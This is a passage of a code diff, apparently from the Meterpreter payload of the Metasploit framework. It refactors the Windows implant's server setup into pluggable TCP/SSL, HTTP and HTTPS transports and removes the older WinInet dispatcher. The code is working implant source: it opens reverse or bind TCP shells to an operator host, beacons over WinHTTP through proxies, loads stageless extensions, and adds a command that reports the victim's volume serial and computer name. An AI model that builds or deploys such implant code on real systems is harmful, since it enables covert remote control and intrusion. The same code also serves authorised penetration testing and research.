HttpTransportContext* ctx = (HttpTransportContext*)malloc(sizeof(HttpTransportContext));
dprintf("[TRANS HTTP] Creating http transport for url %S", url);
memset(transport, 0, sizeof(Transport));
memset(ctx, 0, sizeof(HttpTransportContext));
if (expirationTime > 0)
{
ctx->expiration_time = current_unix_timestamp() + expirationTime;
}
ctx->comm_timeout = commsTimeout;
ctx->start_time = current_unix_timestamp();
ctx->comm_last_packet = current_unix_timestamp();
if (ua)
{
ctx->ua = _wcsdup(ua);
}
if (proxy && wcscmp(proxy, L"METERPRETER_PROXY") != 0)
{
ctx->proxy = _wcsdup(proxy);
}
if (proxyUser && wcscmp(proxyUser, L"METERPRETER_USERNAME_PROXY") != 0)
{
ctx->proxy_user = _wcsdup(proxyUser);
}
if (proxyPass && wcscmp(proxyPass, L"METERPRETER_PASSWORD_PROXY") != 0)
{
ctx->proxy_pass = _wcsdup(proxyPass);
}
ctx->ssl = ssl;
// only apply the cert hash if we're given one and it's not the global value
if (certHash && strncmp((char*)certHash, "METERPRETER_SSL_CERT_HASH", 20) != 0)
{
ctx->cert_hash = (PBYTE)malloc(sizeof(BYTE) * 20);
memcpy(ctx->cert_hash, certHash, 20);
}
transport->url = _wcsdup(url);
transport->packet_receive = packet_receive_via_http;
transport->packet_transmit = packet_transmit_via_http;
transport->server_dispatch = server_dispatch_http_winhttp;
transport->transport_init = server_init_http_winhttp;
transport->transport_deinit = server_deinit_http_winhttp;
transport->transport_destroy = transport_destroy_http;
transport->ctx = ctx;
transport->type = ssl ? METERPRETER_TRANSPORT_HTTPS : METERPRETER_TRANSPORT_HTTP;
#ifdef DEBUGTRACE
if (ssl && certHash)
{
PBYTE hash = certHash;
dprintf("[SERVER] Using HTTPS transport: Hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10],
hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]);
dprintf("[SERVER] is validating hashes %p", hash);
}
#endif
return transport;
}
Transport* transport_create(wchar_t* transport, wchar_t* url)
{
Transport* t = NULL;
dprintf("[TRANSPORT] Type = %S", transport);
dprintf("[TRANSPORT] URL = %S", url);
if (wcscmp(transport, L"TRANSPORT_SSL") == 0)
{
t = transport_create_tcp(url);
}
else
{
BOOL ssl = wcscmp(transport, L"TRANSPORT_HTTPS") == 0;
t = transport_create_http(ssl, url, global_meterpreter_ua, global_meterpreter_proxy, global_meterpreter_proxy_username,
global_meterpreter_proxy_password, global_meterpreter_ssl_cert_hash, global_expiration_timeout, global_comm_timeout);
}
return t;
}
/*
* Setup and run the server. This is called from Init via the loader.
*/
DWORD server_setup(SOCKET fd)
{
THREAD* serverThread = NULL;
Remote* pRemote = NULL;
char cStationName[256] = { 0 };
char cDesktopName[256] = { 0 };
@ -759,57 +861,12 @@ DWORD server_setup(SOCKET fd)
dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm);
if (!(pRemote = remote_allocate(fd)))
if (!(pRemote = remote_allocate()))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
pRemote->url = global_meterpreter_url;
if (bStageless)
{
// if stageless, we ignore the first 's'
pRemote->url += 1;
}
if (wcscmp(global_meterpreter_transport + 12, L"TRANSPORT_SSL") == 0)
{
pRemote->transport = METERPRETER_TRANSPORT_SSL;
dprintf("[SERVER] Using SSL transport on socket %ul...", fd);
dprintf("[SERVER] setting up stageless comms if required...");
res = establish_tcp_connection(pRemote->url, &pRemote->fd);
if (res != ERROR_SUCCESS)
{
dprintf("[SERVER] Failed to get TCP communications running: %u (%x)", res, res);
break;
}
}
else if (wcscmp(global_meterpreter_transport + 12, L"TRANSPORT_HTTPS") == 0)
{
PBYTE hash = global_meterpreter_ssl_cert_hash;
pRemote->transport = METERPRETER_TRANSPORT_HTTPS;
dprintf("[SERVER] Using HTTPS transport: Hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10],
hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]);
if (strcmp(hash, "METERPRETER_SSL_CERT_HASH") != 0)
{
pRemote->pCertHash = hash;
dprintf("[SERVER] is validating hashes %p", pRemote->pCertHash);
}
}
else if (wcscmp(global_meterpreter_transport + 12, L"TRANSPORT_HTTP") == 0)
{
pRemote->transport = METERPRETER_TRANSPORT_HTTP;
dprintf("[SERVER] Using HTTP transport...");
}
// Do not allow the file descriptor to be inherited by child processes
SetHandleInformation((HANDLE)pRemote->fd, HANDLE_FLAG_INHERIT, 0);
dprintf("[SERVER] Initializing tokens...");
// Store our thread handle
pRemote->hServerThread = serverThread->handle;
@ -832,75 +889,48 @@ DWORD server_setup(SOCKET fd)
pRemote->cpOrigDesktopName = _strdup(cDesktopName);
pRemote->cpCurrentDesktopName = _strdup(cDesktopName);
// Process our default SSL-over-TCP transport
if (pRemote->transport == METERPRETER_TRANSPORT_SSL)
{
dprintf("[SERVER] Flushing the socket handle...");
server_socket_flush(pRemote);
dprintf("[SERVER] Registering dispatch routines...");
register_dispatch_routines();
dprintf("[SERVER] Initializing SSL...");
if (!server_initialize_ssl(pRemote))
if (bStageless)
{
// in the case of stageless payloads, fd contains a pointer to the extensions
// to load
dprintf("[SERVER] Loading stageless extensions");
load_stageless_extensions(pRemote, (ULONG_PTR)fd);
}
// allocate the "next transport" information
dprintf("[SERVER] creating transport");
pRemote->nextTransport = transport_create(global_meterpreter_transport + 12, global_meterpreter_url + (bStageless ? 1 : 0));
while (pRemote->nextTransport)
{
pRemote->transport = pRemote->nextTransport;
pRemote->nextTransport = NULL;
dprintf("[SERVER] initialising transport 0x%p", pRemote->transport->transport_init);
if (pRemote->transport->transport_init && !pRemote->transport->transport_init(pRemote, fd))
{
break;
}
dprintf("[SERVER] Negotiating SSL...");
if (!server_negotiate_ssl(pRemote))
dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", pRemote->transport, pRemote->transport->ctx);
pRemote->transport->server_dispatch(pRemote, serverThread);
if (pRemote->transport->transport_deinit)
{
break;
pRemote->transport->transport_deinit(pRemote);
}
dprintf("[SERVER] Registering dispatch routines...");
register_dispatch_routines();
if (bStageless)
{
// in the case of stageless payloads, fd contains a pointer to the extensions
// to load
dprintf("[SERVER] Loading stageless extensions");
load_stageless_extensions(pRemote, (ULONG_PTR)fd);
}
dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", pRemote->transport);
server_dispatch(pRemote);
dprintf("[SERVER] Deregistering dispatch routines...");
deregister_dispatch_routines(pRemote);
}
if (pRemote->transport == METERPRETER_TRANSPORT_HTTP || pRemote->transport == METERPRETER_TRANSPORT_HTTPS)
{
dprintf("[SERVER] Registering dispatch routines...");
register_dispatch_routines();
if (bStageless)
{
// in the case of stageless payloads, fd contains a pointer to the extensions
// to load
dprintf("[SERVER] Loading stageless extensions");
load_stageless_extensions(pRemote, (ULONG_PTR)fd);
}
dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", pRemote->transport);
server_dispatch_http(pRemote, serverThread, global_expiration_timeout, global_comm_timeout, global_meterpreter_ua,
global_meterpreter_proxy, global_meterpreter_proxy_username, global_meterpreter_proxy_password);
dprintf("[SERVER] Deregistering dispatch routines...");
deregister_dispatch_routines(pRemote);
pRemote->transport->transport_destroy(pRemote);
}
dprintf("[SERVER] Deregistering dispatch routines...");
deregister_dispatch_routines(pRemote);
} while (0);
if (pRemote->transport == METERPRETER_TRANSPORT_SSL)
{
dprintf("[SERVER] Closing down SSL...");
server_destroy_ssl(pRemote);
}
if (pRemote)
{
remote_deallocate(pRemote);
}
remote_deallocate(pRemote);
}
__except (exceptionfilter(GetExceptionCode(), GetExceptionInformation()))
{
@ -912,3 +942,78 @@ DWORD server_setup(SOCKET fd)
dprintf("[SERVER] Finished.");
return res;
}
BOOL configure_tcp_connection(Remote* remote, SOCKET socket)
{
DWORD result = ERROR_SUCCESS;
size_t charsConverted;
char asciiUrl[512];
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
wcstombs_s(&charsConverted, asciiUrl, sizeof(asciiUrl), remote->transport->url, sizeof(asciiUrl)-1);
if (strncmp(asciiUrl, "tcp", 3) == 0)
{
const int iRetryAttempts = 30;
char* pHost = strstr(asciiUrl, "//") + 2;
char* pPort = strrchr(pHost, ':') + 1;
// check if we're using IPv6
if (asciiUrl[3] == '6')
{
char* pScopeId = strrchr(pHost, '?') + 1;
*(pScopeId - 1) = '\0';
*(pPort - 1) = '\0';
dprintf("[STAGELESS] IPv6 host %s port %S scopeid %S", pHost, pPort, pScopeId);
result = reverse_tcp6(pHost, pPort, atol(pScopeId), iRetryAttempts, &ctx->fd);
}
else
{
u_short usPort = (u_short)atoi(pPort);
// if no host is specified, then we can assume that this is a bind payload, otherwise
// we'll assume that the payload is a reverse_tcp one and the given host is valid
if (*pHost == ':')
{
dprintf("[STAGELESS] IPv4 bind port %s", pPort);
result = bind_tcp(usPort, &ctx->fd);
}
else
{
*(pPort - 1) = '\0';
dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort);
result = reverse_tcp4(pHost, usPort, iRetryAttempts, &ctx->fd);
}
}
}
else
{
// assume that we have been given a valid socket given that there's no stageless information
ctx->fd = socket;
}
if (result != ERROR_SUCCESS)
{
return FALSE;
}
// Do not allow the file descriptor to be inherited by child processes
SetHandleInformation((HANDLE)ctx->fd, HANDLE_FLAG_INHERIT, 0);
dprintf("[SERVER] Flushing the socket handle...");
server_socket_flush(remote);
dprintf("[SERVER] Initializing SSL...");
if (!server_initialize_ssl(remote))
{
return FALSE;
}
dprintf("[SERVER] Negotiating SSL...");
if (!server_negotiate_ssl(remote))
{
return FALSE;
}
return TRUE;
}

View File

@ -198,3 +198,33 @@ DWORD request_core_loadlib(Remote *pRemote, Packet *pPacket)
return res;
}
DWORD request_core_machine_id(Remote* pRemote, Packet* pPacket)
{
DWORD res = ERROR_SUCCESS;
Packet* pResponse = packet_create_response(pPacket);
if (pResponse)
{
wchar_t buffer[MAX_PATH];
if (GetSystemDirectory(buffer, MAX_PATH) != 0)
{
wchar_t computerName[MAX_PATH];
DWORD computerNameSize = MAX_PATH;
DWORD serialNumber;
wchar_t* backslash = wcschr(buffer, L'\\');
*(backslash + 1) = L'\0';
GetVolumeInformation(buffer, NULL, 0, &serialNumber, NULL, 0, NULL, 0);
GetComputerName(computerName, &computerNameSize);
_snwprintf_s(buffer, MAX_PATH, MAX_PATH - 1, L"%04x-%04x:%s", HIWORD(serialNumber), LOWORD(serialNumber), computerName);
packet_add_tlv_wstring(pResponse, TLV_TYPE_MACHINE_ID, buffer);
}
packet_transmit_response(res, pRemote, pResponse);
}
return ERROR_SUCCESS;
}

View File

@ -7,67 +7,36 @@
#include "../../common/common.h"
#include <winhttp.h>
#ifdef USE_WINHTTP
#define HOSTNAME_LEN 512
#define URLPATH_LEN 1024
DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* serverThread, int iExpirationTimeout, int iCommTimeout,
wchar_t* pMetUA, wchar_t* pMetProxy, wchar_t* pMetProxyUser, wchar_t* pMetProxyPass)
BOOL server_init_http_winhttp(Remote* remote, SOCKET fd)
{
BOOL running = TRUE;
LONG result = ERROR_SUCCESS;
Packet * packet = NULL;
THREAD * cpt = NULL;
URL_COMPONENTS bits;
DWORD ecount = 0;
DWORD delay = 0;
wchar_t tmpHostName[512];
wchar_t tmpUrlPath[1024];
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
remote->expiration_time = 0;
if (iExpirationTimeout > 0)
dprintf("[WINHTTP] Initialising ...");
// configure proxy
if (ctx->proxy && wcscmp(ctx->proxy, L"METERPRETER_PROXY") != 0)
{
remote->expiration_time = current_unix_timestamp() + iExpirationTimeout;
}
remote->comm_timeout = iCommTimeout;
remote->start_time = current_unix_timestamp();
remote->comm_last_packet = current_unix_timestamp();
// Allocate the top-level handle
if (!wcscmp(pMetProxy, L"METERPRETER_PROXY"))
{
remote->hInternet = WinHttpOpen(pMetUA, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0);
dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy);
ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0);
}
else
{
remote->hInternet = WinHttpOpen(pMetUA, WINHTTP_ACCESS_TYPE_NAMED_PROXY, pMetProxy, NULL, 0);
ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
}
if (!remote->hInternet)
if (!ctx->internet)
{
dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError());
return 0;
return FALSE;
}
// Proxy auth, if required.
if (wcscmp(pMetProxyUser, L"METERPRETER_USERNAME_PROXY") != 0)
{
if (!WinHttpSetOption(remote->hInternet, WINHTTP_OPTION_PROXY_USERNAME, pMetProxyUser, lstrlen(pMetProxyUser) + 1))
{
dprintf("[DISPATCH] Failed to set proxy username");
}
}
else if(wcscmp(pMetProxyPass, L"METERPRETER_PASSWORD_PROXY") != 0)
{
if (!WinHttpSetOption(remote->hInternet, WINHTTP_OPTION_PROXY_PASSWORD, pMetProxyPass, lstrlen(pMetProxyPass) + 1))
{
dprintf("[DISPATCH] Failed to set proxy username");
}
}
dprintf("[DISPATCH] Configured hInternet: 0x%.8x", remote->hInternet);
dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet);
// The InternetCrackUrl method was poorly designed...
ZeroMemory(tmpHostName, sizeof(tmpHostName));
@ -82,46 +51,72 @@ DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* serverThread, int iEx
bits.dwUrlPathLength = URLPATH_LEN - 1;
bits.lpszUrlPath = tmpUrlPath;
WinHttpCrackUrl(remote->url, 0, 0, &bits);
dprintf("[DISPATCH] About to crack URL: %S", remote->transport->url);
WinHttpCrackUrl(remote->transport->url, 0, 0, &bits);
remote->uri = _wcsdup(tmpUrlPath);
ctx->uri = _wcsdup(tmpUrlPath);
dprintf("[DISPATCH] Configured URL: %S", remote->uri);
dprintf("[DISPATCH] Configured URI: %S", ctx->uri);
dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort);
// Allocate the connection handle
remote->hConnection = WinHttpConnect(remote->hInternet, tmpHostName, bits.nPort, 0);
if (!remote->hConnection)
ctx->connection = WinHttpConnect(ctx->internet, tmpHostName, bits.nPort, 0);
if (!ctx->connection)
{
dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError());
return 0;
return FALSE;
}
dprintf("[DISPATCH] Configured hConnection: 0x%.8x", remote->hConnection);
dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection);
// Bring up the scheduler subsystem.
result = scheduler_initialize(remote);
if (result != ERROR_SUCCESS)
{
return result;
}
return scheduler_initialize(remote) == ERROR_SUCCESS;
}
DWORD server_deinit_http_winhttp(Remote* remote)
{
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
dprintf("[WINHTTP] Deinitialising ...");
WinHttpCloseHandle(ctx->connection);
WinHttpCloseHandle(ctx->internet);
dprintf("[DISPATCH] calling scheduler_destroy...");
scheduler_destroy();
dprintf("[DISPATCH] calling command_join_threads...");
command_join_threads();
return TRUE;
}
DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* dispatchThread)
{
BOOL running = TRUE;
LONG result = ERROR_SUCCESS;
Packet* packet = NULL;
THREAD* cpt = NULL;
DWORD ecount = 0;
DWORD delay = 0;
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
while (running)
{
if (remote->comm_timeout != 0 && remote->comm_last_packet + remote->comm_timeout < current_unix_timestamp())
if (ctx->comm_timeout != 0 && ctx->comm_last_packet + ctx->comm_timeout < current_unix_timestamp())
{
dprintf("[DISPATCH] Shutting down server due to communication timeout");
break;
}
if (remote->expiration_time != 0 && remote->expiration_time < current_unix_timestamp())
if (ctx->expiration_time != 0 && ctx->expiration_time < current_unix_timestamp())
{
dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time");
dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), remote->expiration_time);
dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), ctx->expiration_time);
break;
}
if (event_poll(serverThread->sigterm, 0))
if (event_poll(dispatchThread->sigterm, 0))
{
dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
break;
@ -134,7 +129,7 @@ DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* serverThread, int iEx
// Update the timestamp for empty replies
if (result == ERROR_EMPTY)
{
remote->comm_last_packet = current_unix_timestamp();
ctx->comm_last_packet = current_unix_timestamp();
}
else if (result == ERROR_WINHTTP_SECURE_INVALID_CERT)
{
@ -159,7 +154,7 @@ DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* serverThread, int iEx
continue;
}
remote->comm_last_packet = current_unix_timestamp();
ctx->comm_last_packet = current_unix_timestamp();
// Reset the empty count when we receive a packet
ecount = 0;
@ -170,19 +165,5 @@ DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* serverThread, int iEx
dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
}
// Close WinInet handles
WinHttpCloseHandle(remote->hConnection);
WinHttpCloseHandle(remote->hInternet);
dprintf("[DISPATCH] calling scheduler_destroy...");
scheduler_destroy();
dprintf("[DISPATCH] calling command_join_threads...");
command_join_threads();
dprintf("[DISPATCH] leaving server_dispatch.");
return result;
}
#endif

View File

@ -1,7 +1,8 @@
#ifndef _METERPRETER_SERVER_SETUP_WINHTTP
#define _METERPRETER_SERVER_SETUP_WINHTTP
DWORD server_dispatch_http_winhttp(Remote * remote, THREAD* serverThread, int iExpirationTimeout, int iCommTimeout,
wchar_t* pMetUA, wchar_t* pMetProxy, wchar_t* pMetProxyUser, wchar_t* pMetProxyPass);
DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* dispatchThread);
BOOL server_init_http_winhttp(Remote* remote, SOCKET fd);
BOOL server_deinit_http_winhttp(Remote* remote);
#endif

View File

@ -1,167 +0,0 @@
#include "metsrv.h"
#include <wininet.h>
#ifndef USE_WINHTTP
#define HOSTNAME_LEN 512
#define URLPATH_LEN 1024
DWORD server_dispatch_http_wininet(Remote * remote, THREAD* serverThread, int iExpirationTimeout, int iCommTimeout,
wchar_t* pMetUA, wchar_t* pMetProxy, wchar_t* pMetProxyUser, wchar_t* pMetProxyPass)
{
BOOL running = TRUE;
LONG result = ERROR_SUCCESS;
Packet * packet = NULL;
THREAD * cpt = NULL;
URL_COMPONENTS bits;
DWORD ecount = 0;
DWORD delay = 0;
wchar_t tmpHostName[HOSTNAME_LEN];
wchar_t tmpUrlPath[URLPATH_LEN];
remote->expiration_time = 0;
if (iExpirationTimeout > 0)
{
remote->expiration_time = current_unix_timestamp() + iExpirationTimeout;
}
remote->comm_timeout = iCommTimeout;
remote->start_time = current_unix_timestamp();
remote->comm_last_packet = current_unix_timestamp();
// Allocate the top-level handle
if (!wcscmp(pMetProxy, L"METERPRETER_PROXY"))
{
remote->hInternet = InternetOpen(pMetUA, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
}
else
{
remote->hInternet = InternetOpen(pMetUA, INTERNET_OPEN_TYPE_PROXY, pMetProxy, NULL, 0);
}
if (!remote->hInternet)
{
dprintf("[DISPATCH] Failed InternetOpen: %d", GetLastError());
return 0;
}
dprintf("[DISPATCH] Configured hInternet: 0x%.8x", remote->hInternet);
// The InternetCrackUrl method was poorly designed...
ZeroMemory(tmpHostName, sizeof(tmpHostName));
ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath));
ZeroMemory(&bits, sizeof(bits));
bits.dwStructSize = sizeof(bits);
bits.dwHostNameLength = HOSTNAME_LEN - 1;
bits.lpszHostName = tmpHostName;
bits.dwUrlPathLength = URLPATH_LEN - 1;
bits.lpszUrlPath = tmpUrlPath;
InternetCrackUrl(remote->url, 0, 0, &bits);
remote->uri = _wcsdup(tmpUrlPath);
dprintf("[DISPATCH] Configured URL: %S", remote->uri);
dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort);
// Allocate the connection handle
remote->hConnection = InternetConnect(remote->hInternet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!remote->hConnection)
{
dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError());
return 0;
}
dprintf("[DISPATCH] Configured hConnection: 0x%.8x", remote->hConnection);
//authentication
if (!(wcscmp(pMetProxyUser, L"METERPRETER_USERNAME_PROXY") == 0))
{
InternetSetOption(remote->hConnection, INTERNET_OPTION_PROXY_USERNAME, pMetProxyUser, (DWORD)wcslen(pMetProxyUser) + 1);
InternetSetOption(remote->hConnection, INTERNET_OPTION_PROXY_PASSWORD, pMetProxyPass, (DWORD)wcslen(pMetProxyPass) + 1);
dprintf("[DISPATCH] Proxy authentication configured : %S/%S", pMetProxyUser, pMetProxyPass);
}
// Bring up the scheduler subsystem.
result = scheduler_initialize(remote);
if (result != ERROR_SUCCESS)
{
return result;
}
while (running)
{
if (remote->comm_timeout != 0 && remote->comm_last_packet + remote->comm_timeout < current_unix_timestamp())
{
dprintf("[DISPATCH] Shutting down server due to communication timeout");
break;
}
if (remote->expiration_time != 0 && remote->expiration_time < current_unix_timestamp())
{
dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time");
dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), remote->expiration_time);
break;
}
if (event_poll(serverThread->sigterm, 0))
{
dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
break;
}
dprintf("[DISPATCH] Reading data from the remote side...");
result = packet_receive(remote, &packet);
if (result != ERROR_SUCCESS)
{
// Update the timestamp for empty replies
if (result == ERROR_EMPTY)
{
remote->comm_last_packet = current_unix_timestamp();
}
if (ecount < 10)
{
delay = 10 * ecount;
}
else
{
delay = 100 * ecount;
}
ecount++;
dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay));
Sleep(min(10000, delay));
continue;
}
remote->comm_last_packet = current_unix_timestamp();
// Reset the empty count when we receive a packet
ecount = 0;
dprintf("[DISPATCH] Returned result: %d", result);
running = command_handle(remote, packet);
dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
}
// Close WinInet handles
InternetCloseHandle(remote->hConnection);
InternetCloseHandle(remote->hInternet);
dprintf("[DISPATCH] calling scheduler_destroy...");
scheduler_destroy();
dprintf("[DISPATCH] calling command_join_threads...");
command_join_threads();
dprintf("[DISPATCH] leaving server_dispatch.");
return result;
}
#endif

View File

@ -1,7 +0,0 @@
#ifndef _METERPRETER_SERVER_SETUP_WININET
#define _METERPRETER_SERVER_SETUP_WININET
DWORD server_dispatch_http_wininet(Remote * remote, THREAD* serverThread, int iExpirationTimeout, int iCommTimeout,
wchar_t* pMetUA, wchar_t* pMetProxy, wchar_t* pMetProxyUser, wchar_t* pMetProxyPass);
#endif

View File

@ -655,7 +655,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</ClCompile>
<ClCompile Include="..\..\source\server\win\remote_dispatch.c" />
<ClCompile Include="..\..\source\server\remote_dispatch_common.c" />
<ClCompile Include="..\..\source\server\server_setup.c" />
<ClCompile Include="..\..\source\server\server_setup_win.c" />
<ClCompile Include="..\..\source\server\win\server_setup_winhttp.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">
@ -698,7 +698,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<PrecompiledHeaderOutputFile Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">
</PrecompiledHeaderOutputFile>
</ClCompile>
<ClCompile Include="..\..\source\server\win\server_setup_wininet.c" />
</ItemGroup>
<ItemGroup>
<None Include="..\..\source\server\win\metsrv.def" />
@ -708,7 +707,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ClInclude Include="..\..\source\server\metsrv.h" />
<ClInclude Include="..\..\source\server\remote_dispatch.h" />
<ClInclude Include="..\..\source\server\win\server_setup_winhttp.h" />
<ClInclude Include="..\..\source\server\win\server_setup_wininet.h" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\backcompat\backcompat.vcxproj">
@ -728,4 +726,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
</Project>